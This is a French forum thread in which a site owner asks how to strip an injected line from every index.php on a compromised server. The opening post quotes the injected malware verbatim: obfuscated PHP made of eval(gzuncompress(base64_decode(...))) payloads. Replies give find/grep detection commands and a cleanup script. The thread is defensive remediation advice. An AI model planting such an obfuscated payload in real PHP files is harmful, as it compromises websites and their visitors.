Supprimer contenu identique en fin de plusieurs fichiers PHP

Bonjour,

Ce contenu :

<?php eval(gzuncompress(base64_decode('eF5Tcffxd3L0CY5WjzcyNDG2NDc3MLGMV4+1dSwqSqzU0LQGAJCPCMM='))); eval(gzuncompress(base64_decode('eF5LK81LLsnMz1OINzczNTK1MDUy01DJ1KxWSbR1LCpKrNTQtC5KLSktylNISixONTOJT0lNzk9J1VBJjFbJjNW0rgUAqDUUxQ=='))); eval(gzuncompress(base64_decode('eF6VlMmyo0YURPeO8D94192hhQokhBSOXhSjmAoVVYDQxoGYJzFKAr7ez257Ya/6/UDevHkyMnmF9ddsfT6itumGZBy/3sMxOez/iJOojZOvXxKFo1GazvHOBGLA+eUaLVZpzajUZhTU15L3GFPsjAFRPMEAFudWy/H371++ffv2+2+//pL8xAHTODKmOT6slbE1tOJ1kiCDyoCxphgvMRm9qgExefekX133El0ismOkqGKP42MZLpKJpPMS8YTx4gSYVTsZZGe4IDdMec9Y+/pC3J1NwcNz5cbyxsZi7uQpYBHw88T+MPqTTulClndJI2Dx+I1owCJqXi0kAiGDr1PmpH+r/aTW/2IFVglZi6osknzT22+Yfz8mcjvS0l0L96TTiLuQ2MMek2IXbPSj2KrAO+ddAXvjWLWGHMfuyQrhhdkqAvz+CT+ojEYjqyB0rlslDwURXHJ71jw323da2R40mRpdS4G7wsjZXqfQjIck2hxOHc/bz77v+puTkrDPFsMoxgdVLn5dNCpjnotZMiFZKLX3LSu/xWPgnXXxxd2UgOtMuStvykbQOS04ZZINfXx9sg9l5G6GtgVvWJSG0uT8cr4x+pmL+C29MFouyy5VgBmk9WCjtJIuBwvaskyLo/De1BNIvYk6O/3liRUSN4tenILmuXaHUeqGNR7ouqyfyIb+1agxALuPZs5o1dYP9iuzSthDwkcnZgxky0cQ63OW8ELrc0LllmTOu7k3emSFNcicuCO11t2flxdnl3QngmRY8ipQ5yJo5i6sb69zN06yOgr1ja6SUyJPRVYU123gNYPkwhyM6zP7/hmmDAXA/GCKt2SMs9rXRPOUifjEuvCkhqLQ52ZxkHutKdrzZvO4+yIcdsdp/z5uwlMT7sqre/Bjns096xq4ppgfSHNomHt645A8tnLo1wPeKjUWwzM6Fy6801J9qwOWfUExd9U2eVAOZElU3Vc+2pdeJGosX+U022iZa0nW/LCIQLZPbjs0Rac9tmGfK+oW7k1LsaGMWZvsxuV9LSZ3/CDdQqpA6oCMr7F+OQDN42VrNztRLVGmOi9TZL02hmort/2iyAtvpWu7CtvHXihvbeyNn8nuv6vEBwCVFjuWGDCepDPG7JO788/0Obhcsd2DeRlXYhQvsSfZsjOV63USOcMk1bTUSCPFbCNq6xTUaK1OOuMJeqnc9RL5YMhciGs39OFn+PImRQj/d0cSdpLw+uFztQLmWu4BWyAXinlxV53ppnZdr6p5H9bhoKtpsK/1p2o8c7fu3ZZtENnLjisrS95ya6iLlxQIWqoLA1ELfAUFbpnNu2GfmFa1E5Lu+YrCNimZ6OyxMGmHhWwRwSIv9dFR9ryN1h02Q8pmGjVsNrsdOMNpBat/t0oYvWgkq/vhjiWxSxuuow+lR+virP659Lri9uDEEdZeK0HFT0Ig/8jlTymmN/I='))); ?>

est apparu dans tous les fichiers index.php seulement, sur un serveur web.

Je souhaitais utiliser la commande sed pour les supprimer mais je rencontre des erreurs de syntaxe au vu des symboles et autres du texte concerné. Il en est de même avec les commandes grep, find, etc… lorsque j’ai voulu cpier dans un txt tous les fichiers concernés.

Pouvez vous m’aider, s’il vous plait ?

Merci.

À mon avis avant de le supprimer tu ferais mieux de t’inquiéter de savoir comment c’est “apparu”, et ce que ça fait précisément. Et accessoirement de mettre ton serveur hors ligne jusqu’à ce que tu aies compris ce qui se passe, car je doute beaucoup que des appels CURL planqués au fond de chaînes gzippées et encodées en base64 soient… comment dire… très légitimes.

Et tout aussi accessoirement, poster dans la bonne section c’est pas plus mal.

Désolé, étant nouveau sur ce forum, j’ai supposé que c’était la meilleure section pour évoquer le souci.

En effet, ce n’est pas normal que ces codes soient apparus sur ces fichiers mais étant donné que c’est une faille d’un hébergement mutualisé, je ne peux pas faire grand chose, si ce n’est supprimé ces codes dans un premier temps.

Cordialement.

Après recherche rapide, ce n’est pas une faille de l’hébergement mais de Wordpress : digwp.com/2011/11/clean-up-canno … lare-hack/

  1. mets ton site hors-ligne
  2. cherche tous les fichiers concernés : find /chemin/vers/www/ -type f -print0 2>/dev/null | xargs -0 grep -l -F ‘eval(gzuncompress(’ 2>/dev/null
  3. supprime les occurrences à la main (c’est triste à dire mais ça sera certainement beaucoup plus sûr que de faire un script qui ne correspondra pas forcément à toutes les occurrences)
  4. mets à jour ton Wordpress et tous ses modules / thèmes

Si le contenu est sur une seule ligne (ce qui à l’air d’être le cas vu que c’est un code mis sous format base64), tu peux faire

#!/bin/bash mv $1 $1.old grep -v "eF5LK81LLsnMz1OINzczNTK1MDUy01DJ1KxW" $1.old > $1
tu appelles ce script nettoie et tu fais

find . -name “*.php” | xargs -n 1 ~/nettoie

(si le script est dans ~).

Attention:

  1. Vérifies tout de même les pages après
  2. Les pages ont un backup en .old après, il est important de les virer ou de les mettre à l’abri sinon le code source est téléchargeable par n’importe qui.

Ce ne sont pas que des sites Wordpress mais Joomla pour certains et je viens de voir que les codes sont différents pour Joomla et en début de fichiers.

Tu peux adapter la chaine permettant de reconnaitre les lignes. Il serait curieux que tu ais des chaines “F5LK81LLsnMz1OINzczNTK1MDU” dans tes pages PHP, et souvent un rajout de code ne se fait que sur une ligne donc ça devrait être efficace. Si le code varie, tu peux également chercher les chaines “eval(gzuncompress(” qui sont quand même hautement suspectes…

Ok, merci.

Je vais regarder dans ce sens.